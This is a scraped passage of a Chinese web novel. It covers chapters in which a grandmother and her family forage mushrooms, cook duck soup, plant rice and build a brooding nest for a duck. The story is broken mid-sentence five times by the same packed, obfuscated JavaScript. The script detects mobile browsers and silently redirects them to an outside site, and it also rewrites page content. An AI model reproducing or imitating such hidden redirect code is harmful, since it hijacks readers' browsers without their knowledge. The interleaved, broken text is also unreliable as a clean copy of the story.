l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287129|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了四天，又开始放晴。 林禾把晾在山洞里的油菜籽重新放出去，“今日你们两个就在家里看着油菜籽，等我们回来再上山去摘草藤。” “好！”双胞胎齐声应下。 丝瓜苗和豆角都出苗了，不仅得去施肥，还得去插木棍，让它们攀藤。 之前带回来的木棍派上用场，林禾背着木棍先走一步。 王三娘和沈大山则来到山洞旁边挖出来的临时旱厕，这里有最正宗的农家肥！ 林禾已经提前堆肥发酵过了，现在他们二人只需要用清水稀释之后挑过去就行。 王三娘特意烧制了两个陶桶出来，就连浇粪用的水勺她都一并按照林禾的要求做了出来。 “别说，娘做的这个还真方便！” 沈大山将陶制的水勺绑在长木棍上，能直接将堆在地上发酵好的熟肥舀起来，放进装有清水的陶桶里稀释。 “娘做的什么不方便！” 王三娘瞥了沈大山一眼。 “也是！”沈大山嘿嘿一笑，继续往木桶里加熟肥稀释。 等二人将稀释好的熟肥挑过去，梯田里已经没了林禾的身影。 “娘是说沿着红薯苗旁边浇是吧？一次浇一勺还是两勺？” 沈大山握着粪勺，有些不确定地问王三娘。 “浇在旁边，一次一勺。”王三娘手上拿着另外一个粪勺。 她站在下面的土豆地里，已经浇完一排的土豆苗了。 而林禾此时拿着小锄头和竹篮去了油茶树林，最近这段时间吃凉拌折耳根上瘾，种在山洞前的折耳根都被挖的差不多了。 油茶树林里的折耳根长势依旧喜人，相比之前，这些折耳根似乎长得更多了，叶子也变大变绿了不少，紫红色逐渐变少。 看来折耳根还是得让它们自由生长在野外。 林禾挖了一大串放进竹篮里，往回走的时候路过一截枯木，瞧着像是松树倒下来之后腐烂的。 准备绕道而行的林禾，突然瞥见枯木下面坠着一排黑色的东西。 林禾放下手中的竹篮，凑近些看，才发现这一排黑色的东西是木耳！ 第44章 松乳菇 接连几日下大雨，将山林浇了个透，空气中弥漫着湿土和腐叶的醇厚气息。 林禾蹲在那一截倒地的朽木前，眼睛发亮。 深褐色的树皮几乎被一层层肥厚饱满的黑木耳完全覆盖，它们挤挤挨挨，像无数只湿润的小耳朵，正静悄悄地探听着雨后的世界。 她拉过竹篮，心下一阵雀跃。 林禾先挑那最大最厚的一朵，手指从边缘探进去，轻轻一掐，指尖传来一种极轻微的阻力。 “噗”地一声轻响，肥厚的耳片便从朽木上分离下来，断口处干净利落，带着一点天然的湿滑。 一朵、两朵、三朵…… 她动作快了起来，不再是轻掐，而是用指腹贴着潮湿的朽木，成把地往下捋。 这种感觉畅快极了！ 那些层层叠叠的木耳被手指一扫，便纷纷投降般脱落下来，发出细微密集的“啪嗒”声，像是雨点敲打叶片的轻响。 有些特别顽固的，需要用手指捏住根部，稍微用力一旋，带着一种剥离的爽脆感，才能完整地摘下来。 很快，掌心就握不住那么多了，沉甸甸、水灵灵的一把，凉意透过皮肤渗进来，带着山野的清新。 她反手将这一大把黑木耳扔进篮子里，它们撞击竹篮底，发出闷而厚实的一声“噗”。 再看那朽木，被采摘过的地方露出深色的、湿漉漉的纹理，而周围依然簇拥着无数的黑色小耳朵。 林禾越摘越起劲，手起手落，动作行云流水。 竹篮底渐渐被黑木耳覆盖，越来越厚实。 等到大半截朽木都被摘干净，竹篮也已沉了不少。 她心满意足地掂了掂篮子，看着里面满满登登、油光水滑的战利品，想象着晚上饭桌上那一盘清炒木耳的脆嫩爽滑，嘴角不禁扬了起来。 “这雨，下得真是好啊！” 剩下的半边黑木耳，林禾薅了几朵大的就没再动手，剩下的手指盖大小的木耳还能继续长。 要不了几天的功夫就能长到半个手掌大，还能再过来摘一茬。 既然油茶树林里都能找到黑木耳，那山上的蘑菇应该也长出来了。 五月初，松树林里的松针下埋着这个季节最鲜美的松乳菇！ 为了吃上这一口松乳菇，林禾当时跟着前辈们翻山越岭，从驻扎的那座山翻过去，连续走了两座山才采到一小筐松乳菇。 当时的味道，林禾到现在还记得。 鲜美到就好像是你站了一辈子，突然坐下了。 油茶树林上面就是松树林，林禾抬脚往山上走，靠近松树林时，她就盯着地面，生怕错过任何一朵松乳菇！ 外围没有发现松乳菇的踪影，林禾也没气馁。 毕竟松乳菇不好找，能不能碰上还得看运气。 渐渐往松树林里走，林禾踩在松软的褐色松针上一步一步往更深处走，空气逐渐变得不一样。 湿土气里逐渐混进一种清冽的松香，林禾吸了一口气，带着些凉意的松香钻入肺腑，提神醒脑。 周围的松针很厚，她放慢脚步弯下腰，眼睛像扫描仪一样，仔细逡巡着松针堆积的每一个角落。 松乳菇最是会躲藏！ 它们不像别的菌子那样招摇，常常只顶开一层薄薄的松针，露出一点点橙褐色的、如同锈迹般的菌帽边缘，几乎与腐烂的松针融为一体。 忽然，林禾搜寻的目光一凝！ 在一棵老松树根旁，几片松针被微微拱起，露出一抹违和却鲜润的橙褐色。 林禾的心猛地一跳，她几步跨过去，小心地用指尖拨开那层覆盖的松针。 果然！ 一朵……不止一朵，两朵、三朵！ 像约好了一样，几朵松乳菇挨挤着长在一起。 它们的菌盖是漂亮的橙褐色，边缘微微卷曲，透着嫩生生的感觉，菌柄短而粗壮，是奶白色的，看着就瓷实。 最妙的是，菌盖背面那褶皱状的菌褶，是一种更深的、近乎琥珀的色泽，完美无瑕。 松乳菇娇嫩，林禾手上不敢用力，收着力气轻拍了几下菌盖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287130|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>随后，林禾用拇指和食指轻轻捏住那粗壮的菌柄最底端，另一只手护着菌盖，手腕微微一旋，再向上一提。 “啵——”的一声极轻微的脆响，一朵完整的松乳菇便被采摘下来。 断口处立刻渗出一点点橙红色的乳汁，散发着无法形容的浓郁菌香，混着松林的清气，这就是最新鲜的证明！ 这“啵”的一声，简直是天籁之音！ 比摘黑木耳那“噗”的一声更让人心颤，因为这意味着采到手的蘑菇是最鲜嫩的！ 林禾摘了几次，动作更快了，经验也随之涌上心头。 她慢慢摸索出来，松乳菇爱长在稍微开阔些但不那么密集的松树下，树根周围和那些微微隆起的小松针堆下，往往藏着惊喜。 果然，没走几步，又发现一丛！ 这次更多，有五六朵，像个小小的家族，零零散散围在一棵老松树周围。 她小心翼翼地拨开松针，一朵接一朵地采摘，那轻微的“啵啵”声接连响起，每一声都带来巨大的满足感。 很快，掌心就托不住那么多娇嫩的宝贝了，她赶紧轻手轻脚地放进竹篮，让它们躺在黑木耳上面。 橙褐色的松乳菇和黑亮的木耳挤在一起，色彩分明，看着就喜人。 她越找越兴奋，几乎忘了时间。 松乳菇的好处她太清楚了。 先不说味道鲜美无比，是山珍中的极品，无论是清炒、炖汤，那股子独特的鲜香能彻底唤醒味蕾，鲜美到让人咂舌，是任何人工调味都无法模拟的山野精华。 而且它们长得瓷实，不易碎，方便携带，这一篮子的价值，可远比一大筐普通蘑菇高得多！ 竹篮渐渐沉甸起来，松乳菇的清香和黑木耳的气息混合在一起，林禾光是闻着味道就恨不得立刻回去炖汤。 林禾直起腰，擦了擦额角细微的汗珠，看着篮子里丰硕的收获，心里别提有多高兴了。 今天晚上，一定要用最肥的那几朵，炖个汤出来！ 那鲜味，怕是能鲜掉眉毛！ 第45章 松乳菇炖老鸭汤 林禾回去时，王三娘和沈大山也刚从地里回来。 “我说娘怎么不见了，原来是去摘蘑菇了！”沈大山放下挑在肩膀上的粪桶，凑过来看了一眼，“多到竹篮都放不下！” “娘，我帮你洗吧。”王三娘伸手想接过林禾手中的蘑菇。 “我来，你和大山去下面抓一只老鸭上来，今晚咱们炖老鸭汤喝！” 林禾晃了晃手中提着的竹篮，“松乳菇炖老鸭汤，鲜掉舌头！” “我和姐姐也去帮忙！”二妞一听到晚上有肉吃，立马拉着大妞往深潭的方向跑。 “娘，那您先收拾蘑菇，鸭子交给我们！” 王三娘见状，放下手中的东西，跟着大妞二妞往下走。 沈大山看了看所剩不多的柴火，放下粪桶，拎着柴刀就去劈柴，顺手烧了两锅热水用来烫鸭**。 自从上次鸭圈被推倒后，就重新在深潭旁边的泥地里建了一个。 鸭圈的右侧连接着深潭，打开右边的围栏时鸭子们就能入水活动。 若是要抓鸭子，只需要把在水里活动的鸭子们赶到泥地里。 大妞二妞经常来喂鸭子，自然很清楚，一下去就把还在水潭里嬉水的鸭子们赶到鸭圈里，迅速将围栏放了下去。 “姐姐！快点儿！”二妞一想到晚上要吃鸭肉，兴奋极了，拉着大妞的手就往鸭圈冲。 鸭圈里的鸭子们感受到“杀气”，顿时嘎嘎叫着乱成一团。 二妞挽起袖子就往里扑，目标明确地盯住一只肥硕的老母鸭，嘴里嚷嚷着。 “就它就它！最肥的那只！” 鸭子惊惶地扑腾着翅膀躲闪，溅起一片泥水点子，二妞扑了个空，脸上沾了泥星子也不在乎，咯咯笑着继续追。 大妞相比起二妞的疯狂，则冷静得多。 她先是扫了一眼鸭群，迅速锁定了那只行动稍显迟缓且羽毛颜色更深的老鸭，然后悄无声息地绕到侧面，堵住了它的退路。 眼看二妞又把鸭子赶得乱窜，她出声提醒：“二妞，别嚷，从左边慢慢赶它。” 趁着二妞制造混乱，那只老鸭慌不择路地朝大妞这边跑来，大妞看准时机，身子一矮，手臂敏捷地一揽，稳稳地将老鸭抱在了怀里，任它如何扑腾也不松手。 “抓到啦！”二妞欢呼着跑过来，帮着姐姐按住鸭翅膀。 王三娘下来时，瞧见二人抱着鸭子，变成了两个“泥人儿”，连连摇头。 “瞧瞧你们把自己弄成什么样了？”王三娘嘴上责怪，但还是贴心地用自己的袖子给二人擦脸上的泥点子。 她觉得现在大妞二妞这样挺好的，比之前好。 一辈子健康开心比什么都强！ “给娘拎着，你们一会儿上去帮忙抓鸭腿。” 王三娘伸手接过大妞二妞怀里的那只公鸭子，拧住两个翅膀拎在手上。 “这鸭子够肥啊！”王三娘一只手拎着居然还有些吃力。 “姐姐挑的肯定够大够肥！”二妞在一旁跟着，话语里全是对大妞的钦佩。 她追了半天，还不如姐姐随手一抓。 姐姐就是厉害！ 王三娘她们抓鸭子的功夫，林禾已经打来清水，将竹篮里的松乳菇小心地倒出。 她仔细地用手拂去菌帽上沾着的松针和泥土，动作轻柔，生怕碰坏了这娇嫩的鲜味。 清水漫过，一朵朵橙褐色的松乳菇漂浮起来，菌褶清晰，散发着山野的清气。 她想象着它们投入滚烫老鸭汤中，将那醇厚的肉鲜提上一个全新层次的景象。 一想到此，林禾手下动作更快了。 沈大山将王三娘拎着鸭子回来，把锅中煮沸的开水舀出来用盆装好。 王三娘手中的菜刀横在鸭脖子上，看向抓着鸭脚的二人，“大妞、二妞你们可要抓紧了！” “嗯！” 二人齐声应下。 “碗我放在下面了。”沈大山适时地将陶碗对准鸭脖子，好让鸭血流在碗里。 上次林禾做的鸭血汤，他还意犹未尽。 等鸭子杀好，沈大山手脚利落地处理干净鸭**，又去门口的小菜园里摘了野蒜回来清洗。 王三娘则将斩好的大块鸭肉放入冷水锅中，点火焯去血沫，对着山洞外喊了一声，“娘，鸭肉焯完水了！” 林禾应了一声，将焯好水的鸭块转入一口厚实的陶罐里，注入满满的清水，投入野蒜和木姜子。 弯腰将灶膛里的柴火抽了几根出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287131|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大火烧开之后便转为小火，让时间慢慢熬煮出鸭肉最深层的醇厚。 灶膛里的火苗温柔地舔着锅底，发出细微的噼啪声。 鸭汤在罐子里咕嘟咕嘟地冒着细小的气泡，香气一丝丝逸散出来，是厚重踏实的肉香。 等到鸭肉炖得酥软，用筷子能轻易戳透时，林禾将沥干水的松乳菇全部倾入汤中。 那鲜艳的菌子瞬间被金黄的油汤淹没。 她只撒了一小撮盐，再不加任何多余的调料，生怕盖住了松乳菇本身的极致鲜美。 盖上罐盖，再耐心等待一刻。 那香气却再也关不住了，发生了奇妙的变化！ 原本醇厚的鸭肉香里，猛地窜入一股鲜活的山野气息，两种香气纠缠融合，最终升华成一种复杂而霸道的鲜香，弥漫在整个山洞里。 二妞不停地吸着鼻子，绕着灶台转悠，一遍遍问：“奶奶，好了吗？好香啊！” 大妞虽然安静地坐在灶下帮着看火，但眼睛也时不时瞟向那吐着蒸汽的陶罐，悄悄咽了下口水。 沈大山坐在洞口，收拾鸭**时，目光却总忍不住往灶台飘，心里琢磨着这汤得多费米饭。 林禾笑着把叽叽喳喳的二妞拉远些，“别急，越熬越鲜。” 当林禾终于揭开罐盖时，水汽“噗”地腾起，带着令人眩晕的浓郁鲜香。 汤色已熬成一种醇厚的浅金，油星点点，肥美的鸭肉沉浮其间，而松乳菇饱吸了汤汁，变得软滑肥厚，颜色更加诱人。 每人盛上满满一大碗。 二妞迫不及待地吹着气，先喝了一口汤，眼睛瞬间瞪得溜圆，烫得直吸气也舍不得吐出来，含糊地喊着：“好喝！” 大妞则先夹起一朵松乳菇，小心地咬了一口，那菌子滑嫩异常，在齿间轻轻一抿，包裹着的极致鲜味便**开来，她满足地眯起了眼。 沈大山直接夹起一大块鸭肉，连皮带肉炖得酥烂，入口即化，那丰腴的肉香与蘑菇的鲜味完美结合，吃得他连连点头，顾不上说话。 王三娘细细品味着，只觉得这汤鲜得层次丰富，醇厚中带着清灵，温暖妥帖地抚慰了劳作一日的疲惫。 一家人围坐，山洞里只剩下碗筷轻碰和满足的叹息声。 第46章 插秧苗 清晨的薄雾还没散尽，林禾已经扛着锄头，带着一家人走到了秧田边。 绿油油的秧苗挤挤挨挨，长势喜人。 出苗后的稻种，见风就长，几天的功夫就长到小腿那般高，风一吹稻田里就漾起层层波纹。 “先从这一亩开始吧！”林禾蹲下身，手指轻轻拂过秧苗尖，“瞧这高度，正是移栽的好时候！” 林禾说完，起身将锄头靠在一边的坡上，开口分派任务。 “大山，你和三娘负责拔秧，捆扎好，大妞二妞！你们跟着我运秧苗，整理田埂。” 沈大山闻言，二话不说，卷起裤腿就下了田。 他蒲扇般的大手一把握住一把秧苗根部，手腕一沉，用力一拉，一把秧苗就被完整地拔起，根须带着黑亮的泥浆。 沈大山自小就跟着下地干活，拔秧苗自然也不陌生。 他拔得又快又猛，泥水溅得脸上身上都是，却浑不在意，只嘿嘿笑着：“这秧苗，壮实！” 王三娘则细致得多。 她另起一垄，微微弯着腰，手指灵巧地探入泥水中，找到秧苗最密集处。 轻轻左右摇晃，松动根部，再顺势一提，一丛秧苗就被完整地取出，几乎不伤根须。 她将秧苗在水里轻轻荡几下，洗去根部大部分泥浆。 然后利索地抽过一根预备好的棕树叶，三缠两绕就打成一个活结，一捆秧苗就服服帖帖地立在了田埂上，根须整齐，方便拿取。 “娘，您捆得真好看，像个小胖墩。” 二妞笑嘻嘻地抱起一捆，小心翼翼地往旁边的空田里运，小身子摇摇晃晃，却努力不把秧苗摔散了。 大妞则沉静地跟在妹妹后面，一次抱两捆，步子稳当。 她还将田埂上散落的秧苗顺手归置整齐，轻声提醒着妹妹， “慢点，看路，别摔了。” 林禾没急着下水，她先在要插秧的田里走了一圈，赤脚感受着水田的平整和泥浆的软硬程度。 接着又弯腰抓起一把泥捻了捻，心里有了数。 “这泥和得正好，不稀不稠。” 她这才下水，拿起一捆秧苗，解开草绳。 “都看我怎么插。”她声音不高，却清晰有力。 林禾分出一小撮秧苗，大约四五根，左手持苗，右手的三根手指——食指、中指、拇指。 三个手指精准地夹住秧苗根部，手腕垂直向下发力。 “哧”地一声轻响，秧苗便稳稳地立在了泥水中，深度恰到好处。 “记住了，不能太深，苗心会被埋住，也不能太浅，风一吹就倒。 “行距大约一拃，株距半拃，横平竖直，往后才好薅草施肥。” 她一边说，一边后退，手下不停，很快，她身后就留下了一排排整齐翠绿的秧苗，像用尺子量过一样。 沈大山看得佩服，学着样子插，他力气大，有时一使劲，插得太深，苗没了影。 有时又没控制好，插歪了。 他挠挠头，有些不好意思。 从前插秧，没这么多讲究，基本上插得差不多就行，现在重新开始适应新的方法，沈大山还有些不习惯，主要是控制不好力度。 林禾猜到了。 她特意过来，手把手教他。 “手腕用力，不是胳膊使劲……对，就这样，感觉根碰到硬泥底了就松手。” 王三娘学得最快，她本就心细手巧，插下的秧苗又正又稳，间距均匀，很快就能跟上林禾的速度。 大妞观察得最仔细，她不像二妞那样急着动手，而是看准了再下苗。 虽然慢些，但几乎不出错，插好的秧苗行是行，列是列，自成风景。 二妞活泼，觉得弯腰插秧新鲜有趣，学着林禾的样子干起来，但插得歪歪扭扭，深一脚浅一脚。 林禾也不恼，笑着帮她修正。 “瞧，这棵躺下了，得让它站起来，这棵又太孤单了，给它添两个伴儿。” 日头渐渐升高，水田反射着阳光，变得蒸热起来。 汗水顺着额角滑落，滴进水田里，腰也开始酸涩，但没有人喊累。 沈大山干脆脱了上衣，露出精壮的膀子，干得更起劲了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287132|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 王三娘时不时直起腰捶两下，又弯下去。 大妞抿着嘴，一丝不苟。 二妞的小脸晒得红扑扑的，依旧欢快地说笑着。 寂静的田野里，只剩下插秧的“哧哧”声，偶尔夹杂着几句简短的交谈和笑声。 眼看就要到中午，还差一半的田没插完。 林禾洗干净手上的泥巴，边往田埂边走边招呼，“休息一会儿，把糍粑吃了再继续干！” 田埂的竹篮里放着一早带来的糍粑和红薯。 林禾拎着竹篮到一处阴凉的树下，也不嫌脏，就地坐下。 “娘，这糍粑还软和着呢！”沈大山接到艾叶糍粑时，捏了一把。 “早上出来我特意放锅里蒸过，娘又用布包着，现在吃还热乎着呢！” 王三娘帮大妞和二妞剥开一个后，自己才拿了一个吃。 沈大山三两口吃完了手中的艾叶糍粑，又塞了一个红薯在嘴里，挽起裤脚再次下田。 “我吃完了，先下去干着！” 他好久没这么兴奋了，一想到秧苗插下去，下半年就能收获成袋的粮食，他就觉得浑身都是干劲！ 太阳逐渐移到山的另外一边时，最后一把秧苗插入水田，原本一片空荡荡的水田，已然被整齐的绿色方格覆盖。 微风拂过，新插的秧苗轻轻摇曳，焕发着勃勃生机。 一家人站在田埂上，望着一天的劳动成果。 沈大山抹了一把脸上的汗水和泥点，咧开大嘴，畅快地长舒一口气，心中充满了成就感！ 王三娘细致地洗着手脚上的泥浆，看着那横平竖直的秧苗行列，一种难以言喻的踏实和欣慰感在心里蔓延。 “走了，回家做饭。” 林禾最后望了一眼水田，声音里带着不易察觉的轻松与愉悦。 把秧苗插下去，这段时间就能轻松一些，不必每日都来放水引水。 夕阳给他们归家的身影镀上了一层温暖的金边。 而他们身后的水田里，秧苗静静伫立，吮吸着水分与养分，等待着新的生长。 第47章 鸭子生病了 “奶奶！小花最近都不爱吃饭了！也不下蛋了！” 二妞从鸭圈里跑回来，急匆匆拉着林禾的手想往鸭圈走。 “它是不是要**？你快去看看它嘛！” 小花是二妞给最大的那只母鸭子取的名字。 所有的母鸭子都有自己的名字，公鸭子没有。 按照二妞的说法，母鸭子要留着下蛋用，公鸭子长大之后就能吃掉，取名字就舍不得杀来吃肉了。 等到了鸭圈，大妞也守在鸭圈旁边，看着角落里趴着不动的母鸭子，满脸担忧。 直到看见林禾来了，大妞才指着小花让开位置道：“奶奶，小花这几天也不产蛋了，你快去看看它是不是生病了。” “别急。”林禾看着其他鸭子都在水潭嬉水，就只有小花单独窝在鸭圈里，确实反常。 林禾跨进鸭圈中，刚一靠近小花，它就扬起脖子发出“咕咕”的警告声。 “小花，你怎么了？”二妞见状，有些着急。 平时都是她在喂小花，养小花和养宠物一样。 二妞想进去，但被大妞拉住了，“你进去小花肯定也要啄你，还不如等着奶奶先看看情况。” 二妞被大妞成功劝住。 林禾也瞧出些端倪。 小花的羽毛蓬松，喜欢趴在鸭圈里不动，还不产蛋，甚至在靠近的时候还会警惕。 林禾心中有了猜想，她伸手握住小花抻过来的脖子，抓住翅膀将小花拎起来。 果然她的身下有三个圆溜溜的鸭蛋。 “小花是在抱窝，可以孵鸭蛋了。” 林禾说着，将小花身下的三个鸭蛋拿走。 “嘎嘎嘎！嘎嘎！” 小花扑腾着往前，抻着脖子要啄林禾。 但林禾走得快，没啄到林禾的小花气得张开翅膀在鸭圈里不停转圈。 五月是野鸭繁殖最旺盛的季节，但能抱窝的野鸭不多。 这么多只野鸭中也仅仅只有小花一只有这样的举动。 不过有一只也够了。 “啊！小花——你啄**什么！有本事你啄奶奶去啊！蛋是她拿走的！” 二妞捂着屁股，连忙从鸭圈里跑出来。 她本来是想进去安慰几句小花的，谁知道刚一进去就被小花狠狠啄了一口，还啄在左边的屁股上。 “臭小花，我们绝交！” 二妞捂着屁股，气愤地往回走。 林禾将她拉过来，看了一眼伤口确定没大碍。 “奶奶，你拿小花的蛋做什么？不给她孵蛋吗？” 大妞看着林禾手上的鸭蛋，有些不理解。 养母鸭子不就是为了让她孵蛋吗？ “大妞，不是所有的鸭蛋都能孵出蛋的，要挑选，而小花没有这个意识，她只是出于本能把自己下的蛋全部都藏起来。” 野鸭孵蛋是出自最原始的本能，但有些野鸭蛋没有受精，是孵不出小鸭子的。 林禾解释完，大妞记在心里。 将鸭蛋带回去之后，林禾把之前攒的鸭蛋都从竹篮里拿了出来放在山洞口，将鸭蛋举起来一一对着光看。 透过光线，林禾一一筛选着竹篮里的鸭蛋。 蛋黄附近会有明显的“血丝状”或“蛛网纹”结构，蛋内浑浊不透明的鸭蛋就是受精的鸭蛋，能孵出小鸭。 但是未受精的鸭蛋，蛋黄呈圆形或不规则状，蛋内清澈，无血丝，这类鸭蛋无法孵化，可以留着用来吃。 能孵化的鸭蛋林禾挑了十枚出来，不能孵化的鸭蛋只有七枚，加上后来送过来的三枚鸭蛋，一共还剩下十枚。 小花不生蛋后，只剩下另外两只母鸭子生蛋，林禾腌制咸鸭蛋的计划还得缓一缓。 等多攒一点鸭蛋再一起腌制，盐也不太够，得再去挖一些盐石回来。 要想孵鸭蛋就不能在鸭圈里了，只能重新给小花再准备一个孵蛋的窝。 山上都是木头，搭一个鸭窝出来不算难事。 林禾收好鸭蛋，心里琢磨着搭新窝的事。 她抬眼看了看天色，还早。 “大山，”她朝山洞里喊了一声，“拿上斧头，跟我去后面的林子里砍几根木头。” 沈大山闻声出来，脸上带着点疑惑，但还是利索地转身拿了斧头跟上林禾的脚步。 二妞捂着屁股哼哼唧唧，大妞则好奇地拉着妹妹，也远远跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287133|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，想看看奶奶要怎么给小花做新家。 林禾没往密林深处去，只在山洞后坡转悠。 这里地势稍高，排水好，不会被雨水倒灌。 她边走边看，目光仔细扫过周围的环境。 这里背风，能挡住山里横冲直撞的野风，旁边有几块大石头天然形成了屏障，既能避光，又能减少其他动物或者人的惊扰。 最重要的是，这里能晒到上午温和的阳光，足够温暖，但午后日头毒辣时，又有树荫遮挡，不会过热。 “就这儿了。” 林禾停下脚步，指了指那几块大石头围出来的角落。 这地方安静，离鸭圈和水潭有点距离，但又没完全隔开，不至于让小花感到被族群抛弃而不安。 沈大山顺着她指的地方看了看，点点头，没多问。 他习惯了听娘的安排，娘做事总有她的道理。 “砍那边几根粗细差不多的。”林禾指挥着，“别太粗，也不好搭。” “诶！”沈大山应了声，握紧斧头，走向林禾指的那几棵笔直的小树。 他力气大，斧头挥得沉稳有力，几下就是一棵。 咔嚓！咔嚓！ 沉闷的砍伐声在林间响起，惊起几只鸟雀。 林禾看着儿子干活利索，心里盘算着鸭窝的样式。 得做个有顶的，能遮雨，四周也不能完全敞开，得留个母鸭能轻松进出的口。 但又不能太大，免得灌风或者让蛋凉得太快。 底部要离地，铺上厚实的干草，既能隔绝地气潮气，又能让蛋稳稳当当。 想到野鸭的习性，它们虽被驯养，骨子里还是留着野性的警觉。 孵蛋的母鸭更是敏感，若环境吵闹，或者窝不舒服、不安全，它很可能就会中途放弃，那这些受精蛋可就浪费了。 必须一次弄好，让它安安稳稳地待到小鸭子破壳。 很快，沈大山就砍好了五六根长度适中的木头，又按林禾的要求，削掉枝杈，把一头削尖方便插入地面。 “娘，够了不？” “够了！来，帮我插结实点。” 林禾上前，比划着位置。 第48章 搭鸭窝 沈大山用斧背将削尖的木头一根根夯实进泥土里，每一根都入土三分，确保框架稳当。 他挑选的木头粗细均匀，围出的四方空间不大不小，刚好够一只母鸭舒适地转身和护住身下的蛋。 留出的那面“门”，也仔细用藤蔓缠出了一道矮矮的门槛，既能防止蛋滚出去，也不妨碍小花进出。 沈大山做完这些，又穿梭在附近的林子里，寻找足够柔韧的老藤。 他用力拉扯测试韧性，然后将木头交叉的关键节点一道道紧紧绑牢，打了扎实的结，直到整个框架纹丝不动。 林禾则在阳光能晒到的坡地上，寻找着合适铺鸭窝的软草。 五月份进入生长高峰期的马唐草，一簇簇挤在路边，林禾一看就看中了它们。 茎倾斜匍匐生长在路边，叶片线状披针形，软**或无毛，摸上去较为柔软，很适合用来铺鸭窝。 林禾拽了一大把马唐草在手上，转身跑到山坡下摘了些带有清苦气味的蒿草，揉碎了混在里面，防虫蚁。 她将马唐草一层层团起，轻轻抖松，抱了满怀，柔软得像一团绿色的云。 沈大山框架搭得牢固，顶上横搭的细木棍密度恰到好处，既承重又透气。 铺盖的宽大树叶也是林禾刚摘的，还带着韧性，一层压一层，像鱼鳞般叠盖得严实，足以抵挡突如其来的山雨。 林禾跪在窝边，像布置婴儿的摇篮般，将怀里柔软的马唐草仔细铺底。 先垫一层厚实的做基础，轻轻压实，再铺上一层更蓬松的，用手掌抚平每一个角落，确保没有硬梗硌着。 最后，将那把混了驱虫蒿草的干草，细细撒在最上层。 她退后两步，和沈大山一同打量着这个建在避风石壁下、藏于树影斑驳中的新窝。 温暖、干燥、安静、避光，几乎满足了孵蛋所需的一切条件。 “成了！” 林禾拍拍手上的草屑，心里那点关于小花能否安心的担忧终于落下。 这个窝，比野地里任何一处都更安全舒适，小花应该会喜欢。 沈大山用袖子擦去额角的汗，看着这个由他亲手搭出来的小小的鸭窝，憨厚的脸上露出满足的笑意。 劳动创造出的成果，无论大小，都让人心里踏实。 林禾轻声道：“去把小花和那十颗蛋带过来吧。” 沈大山去鸭圈，小心翼翼地将还在气呼呼转圈的小花捧起。 小花起初还不乐意地扑腾着翅膀，“嘎嘎”**，但被稳稳地抱住后，一路走过来倒也渐渐安静下来。 林禾则用一个小竹篮，垫上软草，将那十枚精心挑选过且能孵出小生命的鸭蛋轻稳地放进去。 到了新窝旁，林禾先轻轻将竹篮里的蛋一枚枚取出，放进铺得柔软舒适的窝心，聚拢成一小堆。 沈大山这才弯下腰，小心地将小花放进新窝。 刚一落地，小花显然有些警觉，抻着脖子左右张望这个陌生环境，“咕咕”低鸣着，翅膀微张，似乎随时准备跳出来。 但很快，它感受到了此地的安静与遮蔽带来的安全感，也看到了身下那几枚倍感熟悉的鸭蛋。 它的注意力瞬间被完全吸引。 它低下头，用扁平的喙极其轻柔地触碰、拨弄着每一枚蛋，仿佛在清点数目，又像是在确认它们是否安好。 这个动作轻柔得不可思议，与之前啄人的凶狠模样判若两鸭。 它小心翼翼地绕着蛋堆转了小半圈。 然后慢慢地、试探性地蹲伏下来，身体微微前后调整，寻找最舒适又能完全覆盖住所有蛋的姿势。 最终，它彻底伏了下来，温热的胸腹部轻柔地贴合在微凉的蛋壳上，将它们完全纳入自己的羽翼之下。 它再次轻轻调整了一下姿势，让身体更紧密地包裹住蛋，仿佛一个温暖的茧。 